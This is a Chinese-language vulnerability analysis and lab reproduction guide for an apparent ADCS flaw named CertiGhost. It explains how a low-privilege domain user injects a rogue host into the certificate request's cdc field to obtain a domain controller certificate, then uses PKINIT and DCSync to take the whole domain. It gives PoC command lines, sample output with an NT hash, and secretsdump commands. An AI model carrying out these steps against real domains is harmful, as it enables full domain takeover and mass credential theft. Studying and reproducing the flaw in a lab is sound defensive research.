漏洞概述
CVE-2026-54121，研究人员命名为 CertiGhost，是一个位于 Windows Active Directory 证书服务（ADCS）中的严重漏洞。攻击者只需持有一个低权限域用户账户，即可通过伪造身份欺骗 CA 服务器签发目标 DC 的机器证书，最终实现对整个域的完全控制（域内提权至 DA）。
该漏洞的核心在于 ADCS 在处理证书请求时会根据请求属性中的 cdc（Client DC）字段主动回连攻击者指定的地址做身份验证，而这一过程可被利用来欺骗 CA 将证书颁发给伪造的目标身份（如 DC 机器账户）。
漏洞危害
- 权限等级：低权限域用户 → 域控机器账户 NT Hash → DCSync → 全域沦陷
- 无需任何漏洞利用链：全程使用合法协议（LDAP、SMB、NTLM、Netlogon、Kerberos PKINIT），不触发 EDR 典型规则
- 影响范围广：所有未打补丁的、CA 与 DC 分离部署的 Windows AD 环境均受影响
- CVSS 评分：严重（Critical）
利用条件
| 条件 | 说明 |
|---|---|
| 低权限域账户 | 任意可登录域的用户账户即可 |
| 可创建计算机账户 | 默认域策略允许普通用户创建最多 10 台计算机 |
| CA 与 DC 分离部署 | 核心前提，CA 必须是独立服务器（非 DC 兼任） |
| 攻击机网络可达 | CA 服务器需能回连攻击者的 445 和 389 端口 |
| CA 证书在 NTAuthCertificates 中 | CA 签发的证书需被域信任，用于后续 PKINIT |
漏洞原理
攻击链全景
低权限用户
│
├─[1] 创建计算机账户 GHOST$（密码已知）
│
├─[2] 启动恶意服务器
│ ├─ 恶意 SMB/LSA 服务 (port 445)
│ └─ 恶意 LDAP 服务 (port 389)
│
├─[3] 向 CA 发送证书请求
│ ├─ 以 GHOST$ 身份认证
│ ├─ 模板: Machine
│ ├─ cdc: <攻击者IP> ← 核心注入点
│ └─ rmd: DC01.testjd.local
│
├─[4] CA 收到请求后，根据 cdc 字段回连攻击者:445
│ └─ CA 以自身机器账户（CA01$）发起 NTLM 认证
│
├─[5] 恶意 SMB 接受 CA 的 NTLM 认证
│ ├─ 通过 GHOST$ 的 Netlogon Secure Channel 向 DC 转发验证
│ └─ DC 确认 CA01$ 凭证合法 → 认证成功
│
├─[6] 恶意 LDAP 被 CA 查询目标身份信息
│ └─ 返回伪造数据：sAMAccountName=DC01$, SID=<DC的SID>, dNSHostName=DC01.testjd.local
│
├─[7] CA 信以为真，签发了 DC01$ 的机器证书
│ └─ 保存为 dc01.pfx
│
└─[8] 用 dc01.pfx 做 PKINIT
├─ 获取 DC01$ 的 TGT
├─ 通过 U2U 从 PAC 中解密出 NT Hash
└─ 执行 DCSync → 全域 Hash 导出
为什么 CA 必须与 DC 分离
恶意 SMB 使用 GHOST$（WorkstationSecureChannel）向 DC 做 Netlogon 转发验证。
Netlogon 协议规定：通过 WorkstationSecureChannel 只能验证普通机器账户（Workstation/Server），不能验证 DC 机器账户（DC$ 类型账户需要 BDC Secure Channel）。
- CA 与 DC 共机 → CA 回连时用
DC01$做 NTLM → WorkstationChannel 验证 DC 账户 →STATUS_WRONG_PASSWORD，永远失败 - CA 独立部署 → CA 回连时用
CA01$做 NTLM → WorkstationChannel 验证普通机器账户 → 成功
影响范围
- 受影响：CA 单独部署在成员服务器上的 Windows AD 域环境，且 CA 未安装 2026 年 7 月安全更新
- 不受影响：
- CA 与 DC 安装在同一台机器
- 已安装 MS 2026 年 7 月补丁的环境
- 禁用了
cdc属性处理的 CA
复现环境搭建
环境规划
DC01 192.168.244.131 Windows Server 2019（域控 + 根CA testjd-CA）
ADCS01 192.168.244.134 Windows Server 2019（独立成员服务器 + 从属CA testjd-ADCS01-CA）
Ubuntu 192.168.244.128 攻击机（运行 POC）
域名 testjd.local
第一步：搭建 DC01
正常安装 Windows Server 2019，提升为域控，域名 testjd.local。
DC01 上可选择性安装 ADCS（根 CA），但不使用它做攻击目标。
第二步：搭建独立 CA（ADCS01）
新建 Windows Server 2019 虚拟机，加入 testjd.local 域，然后安装 ADCS：
- 服务器管理器 → 添加角色 → Active Directory 证书服务
- 角色服务选择：证书颁发机构
- 安装类型选择：企业 CA（Enterprise CA）
- CA 类型选择：从属 CA（Subordinate CA）
- 向导会提示向父 CA（DC01 上的根 CA）申请签名证书，完成即可
选从属 CA 而非新建根 CA 的原因：域控天然信任 DC01 根 CA 签发的证书链，从属 CA 颁发的证书会被域自动信任，PKINIT 才能成功。
第三步：将 ADCS01 的 CA 证书发布到 NTAuthCertificates
这是一个极易踩坑的步骤。从属 CA 安装完后不会自动注册到 AD 的 NTAuth 信任库，导致后续 PKINIT 失败，报错：
KDC_ERROR_CLIENT_NOT_TRUSTED(Reserved for PKINIT)
修复方法，在 ADCS01 上以管理员运行：
certutil -pulse
然后在 DC01 上刷新组策略：
gpupdate /force
验证是否生效（能看到两个 CA 条目即正常）：
certutil -viewstore -enterprise NTAuth
第四步：安装 POC 依赖
pip install impacket cryptography asn1crypto pycryptodomex dnspython
复现过程
运行 POC
python3 certighost.py -d testjd.local -u shule -p 'Bb123456' \
--dc-ip 192.168.244.131 \
--ca-ip 192.168.244.134 \
--ca "testjd-ADCS01-CA"
成功输出
[*] Connecting to LDAPS
[*] Detecting infrastructure
DC: 192.168.244.131 | CA: testjd-ADCS01-CA (192.168.244.134)
Target: DC01$ | SID: S-1-5-21-2988973551-359497623-2177000135-1000
[*] Creating computer: GHOSTZHRBGOVI$
[*] Starting rogue servers (LSA:445 + LDAP:389)
[*] Requesting certificate (template=Machine, cdc=192.168.244.128)
Saved: dc01.pfx
[*] PKINIT as DC01$
[*] Got hash for DC01$:
DC01$:aad3b435b51404eeaad3b435b51404ee:d332cf19cf66b2094695e33a42ed043d
ccache: dc01.ccache
[*] GGWP
利用 NT Hash 执行 DCSync
impacket-secretsdump \
-hashes aad3b435b51404eeaad3b435b51404ee:d332cf19cf66b2094695e33a42ed043d \
'testjd.local/[email protected]'
或使用 ccache：
export KRB5CCNAME=dc01.ccache
impacket-secretsdump -k -no-pass DC01.testjd.local
踩坑记录
坑 1：CA 与 DC 在同一台机器，STATUS_WRONG_PASSWORD 无限循环
现象：恶意 SMB 收到 DC01 的回连，NTLM 握手完成，但 Netlogon 验证始终返回 STATUS_WRONG_PASSWORD，重试十余次后报 Cert request denied (0x800706ba)。
原因：CA 与 DC 共机时，CA 回连使用的是 DC01$ 账户（DC 机器账户），而 POC 用普通 WorkstationSecureChannel 无法验证 DC 类型账户。
解决：必须搭建独立的 CA 服务器。
坑 2：PKINIT 失败，KDC_ERROR_CLIENT_NOT_TRUSTED
现象：证书已成功获取（dc01.pfx 已保存），但 PKINIT 报 KDC_ERROR_CLIENT_NOT_TRUSTED。
原因：从属 CA 安装后未自动发布到 AD 的 NTAuthCertificates，DC 不信任该 CA 签发的证书做 Kerberos 认证。
解决：在 CA 服务器执行 certutil -pulse，在 DC 执行 gpupdate /force，手动触发发布。